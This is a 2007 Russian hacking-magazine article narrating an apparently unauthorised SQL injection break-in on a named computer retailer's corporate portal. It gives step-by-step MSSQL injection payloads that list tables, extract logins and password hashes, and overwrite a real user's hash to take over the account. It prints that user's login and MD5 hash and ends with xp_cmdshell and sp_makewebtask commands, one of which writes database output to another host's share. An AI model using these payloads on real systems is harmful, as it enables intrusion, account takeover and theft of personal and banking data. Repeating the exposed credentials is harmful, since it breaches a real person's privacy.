Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #100, АПРЕЛЬ 2007 г.

Позитрон в минусе

Lexx918 (lexx918@mail.ru)

Хакер, номер #100, стр. 086


Трепанация интернет-шопа

Ты заметил, что на рынке все чаще и чаще стали встречаться крупные и не очень конторы по сборке компов? Филиалы по всей стране, бренды, за которыми скрываются совершенно незнакомые разрозненные магазины, фирменные логотипы на системных блоках и свои сборки драйверов. И все бы хорошо, но качество самого железа в таких заведениях всегда оставляет желать лучшего. Мало того - я тебе сейчас на живом примере покажу, как они дружат с web-программированием.

Поиск уязвимости

А дело было так! Есть в нашей с тобой замечательной стране не менее замечательная контора «Позитроника». Мой город не избежал участи многих остальных, и по соседству открылся их филиал. Это, конечно, дело вкуса, но лично я подобные заведения стараюсь не посещать вовсе. Но почему бы из любопытства не зайти на их сайт - positronica.ru? Как и любая другая цивилизованная организация, эта контора тоже имела свой внутрикорпоративный портал, доступ к которому был строго ограничен. Лишь посвященные могли просматривать сводные графики и таблицы, меняться мнением с коллегами, синхронизировать базу своего магазина с общей базой главного офиса, обсуждать закрытые темы и заниматься прочими интересными и вкусными делами. Тут мне и пришла мысль, а почему бы ни приобщиться к этому делу?

Добрые люди подсказали сабдомен, на котором ютился приватный портал - http://cip.positronica.ru, и я принялся за его изучение. На главной странице не было ничего, кроме формы авторизации. Два банальных поля «логин» и «пасс» уныло встретили меня на пустой странице и совсем не порадовали. Зато внимание привлекла ссылочка на форму восстановления пароля. В ней нужно было только указать свое мыло, и на него в ту же секунду высылался забытый пароль. Как это ни странно, но моего адреса в базе не нашлось! Я не отчаялся и отправил на проверку обычную одинарную кавычку. М-да… не стоило полагаться на порядочность модераторов и админов, тем более что я не относился ни к тем, ни к другим. Сайт пошуршал и вывалил мне предупреждение о синтаксической ошибке в MSSQL.

Тут я сделаю небольшое отступление. К моменту, когда я нашел эту банальную инъекцию, БД от дяди Билла мне была не знакома. Пришлось чуть-чуть погуглить. Детали я опущу и расскажу о самом интересном из того, что мне удалось найти. Эта чудо-база данных позволяет творить с собой такие забавные вещи, что я поражаюсь тем людям, которые ей так неумело воспользовались.

Дело в том, что MSSQL содержит в себе специальную системную базу INFORMATION_SCHEMA с полным и подробным описанием всей структуры таблиц, присутствующих на сервере БД. Она нам с тобой сейчас очень пригодится :).

Лезем внутрь

Для извлечения названия всех таблиц я воспользовался вот таким выражением (в реальности оно пишется в одну строку, а я его разбил на несколько, чтобы затем пояснить):

10'

UNION

SELECT TOP 1

convert(int, TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME NOT LIKE 'syncobj_%'

AND TABLE_NAME NOT IN ('old_table_name')

--

Итак, первая строка нужна только для того, чтобы вклиниться в существующий запрос и корректно закрыть выражение в кавычках. Цифру я поставил чисто от фонаря, но могу поспорить, что, дописав некое число в конец адреса электронной почты, мы уже явно не получим ничего существующего в природе, а потому письмо с новым паролем никогда не найдет своего адресата. Вторая строка добавляет запрос посредством объединения. В третьей строке мы просим вернуть нам только одну первую строку, найденную по заданному условию.

Далее мы просим сервер БД отконвертировать имя таблицы в тип Integer. Сам понимаешь, насколько это реально! В этом месте образуется SQL-ошибка, которую мы должны увидеть в браузере. Собственно, это будет единственное средство «общения» с СУБД.

В пятой строке надо указать БД с информацией о структуре, а в качестве дочернего элемента – список таблиц. Шестая строка исключит попадание в результат всякого мусора, временных таблиц и прочих малополезных сведений. Седьмая строка поможет нам исключать те таблицы, которые мы уже посмотрели и не хотим больше видеть в результатах. Каждую таблицу, которую я находил, оставалось только заключить в кавычки и дописать через запятую к таким же ненужным. Так можно передвигаться по всему списку таблиц, пока у нас не образуется полный их перечень.

Восьмой строкой мы включаем комментарии в запросе, что заставляет сервер просто отключить оставшуюся часть запроса из PHP-скрипта.

Я стал запускать процессы восстановления паролей один за другим. На каждую просьбу MSSQL неприлично ругался, что, мол, я глуп, так как должен был бы понимать - невозможно изменить тип строки вида tb_cli_bank_accounts, tb_permissions или tb_cli_cip_users в Integer. Неужели! Поражаясь своему таланту генерировать море ошибок, я продолжал свои поиски и в итоге получил приличный перечень таблиц.

Теперь было бы неплохо получить имена столбцов в этих самых таблицах. Для этого нам нужен запрос вида:

10' UNION SELECT TOP 1 convert(int, COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='name_of_table' AND COLUMN_NAME NOT IN ('old_column')--

Он аналогичен предыдущему, за тем исключением, что теперь мы рассматриваем таблицу COLUMNS для конкретной таблицы, за вычетом тех столбцов, что уже рассмотрены. Еще пара минут, и я имел перед собой вот такую инфу по структуре трех полезных таблиц:

tb_cli_bank_accounts (id, client_id, name, zip_code, address, city_id, region_id, phone, fax, email, bank_name, bank_account_no, bank_transit_no, currency_code, okonh, okpo, head_name, accountant_name)

tb_permissions (user_id, object_id, r, w)

tb_cli_cip_users (id, login, password, fname, lname, sname, date_of_birth, position, email, phone_work, phone_mobile, icq, skype, blocked, password_exp_date, confirmcode, new_password, client_id, catalog_admin, date_added, role_id, subscribe)

В первой явно хранятся банковские реквизиты, и это дело может немало стоить на рынке кардона. Вторая таблица, видимо, отвечает за права на чтение (r) и запись (w). Люди мы с тобой порядочные, потому попробуем безобидно похулиганить с третьей таблицей.

Для начала посмотрим, что в ней есть:

10' UNION SELECT TOP 1 convert(int, login) FROM tb_cli_cip_users WHERE login NOT IN ('old_user_name')--

Запрос подобного рода вернет логин пользователя. А если login заменить password и добавить условие поиска для конкретного пользователя, то легко можно получить и сам пароль, что я и сделал. Пароли хранятся в виде md5-хэшей, но и это дело поправимое.

Шалости

Люди мы с тобой порядочные, законы чтим, а УК РФ боимся как огня. Поэтому попробуем наследить немного в БД, вернуть все на место (по возможности) и, конечно, сообщим обо всем в саппорт организации.

Я взял первого попавшегося юзверя с ником p_tvr_pervov и пассом bf0c00ef76f9515789aec082dfe4fb49. Для входа я сгенерировал для себя хэш от числа 123 - 202CB962AC59075B964B07152D234B70. Осталось только подставить его вместо хэша жертвы:

10'; UPDATE tb_cli_cip_users SET password='202CB962AC59075B964B07152D234B70' WHERE login='p_tvr_pervov'--

К счастью, MSSQL позволяет в одной строке писать множество запросов. Их надо только отделить друг от друга точкой с запятой (наподобие двоеточия в старом добром Бейсике). Итак, запрос выполнен, пароль сменился и можно смело авторизироваться, что мы и делаем.

Либо у этого пользователя мало прав, либо это такой скудный интерфейс. Можно пробовать зайти под другими никами или продолжить изучение БД в поисках чего-то более интересного. Я же просто отметился в личке у жертвы, затем повторил предыдущий запрос с верным старым хэшем, чтобы человек мог зайти в свой акк и не заподозрить взлом. А напоследок я все же написал письмо в техподдержку - пусть руки выпрямляют!

MSSQL - сам себе шелл

Дядя Билли не перестает меня удивлять. Оказывается, его СУБД позволяет не только делать множественные запросы в одной строке (через символ «;»), но и пользоваться многими прелестями ОС. Если некоторые настройки оставлены по умолчанию, то строка «'; exec master..xp_cmdshell 'ping 10.10.1.2'—» запросто может пинговать всех и вся. А запрос «'; exec master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"» и вовсе запишет весь вывод в файл. Об этом и о многом другом можно узнать на сайте www.trojanec.ru.

VIDEO

На нашем диске ты найдешь видеовзлом, который полностью повторяет эту статью. Смотри и учись :).

Warning

Не стоит забывать, что взлом – дело противозаконное! Ни автор и ни редакция за твои действия ответственности не несут!

Содержание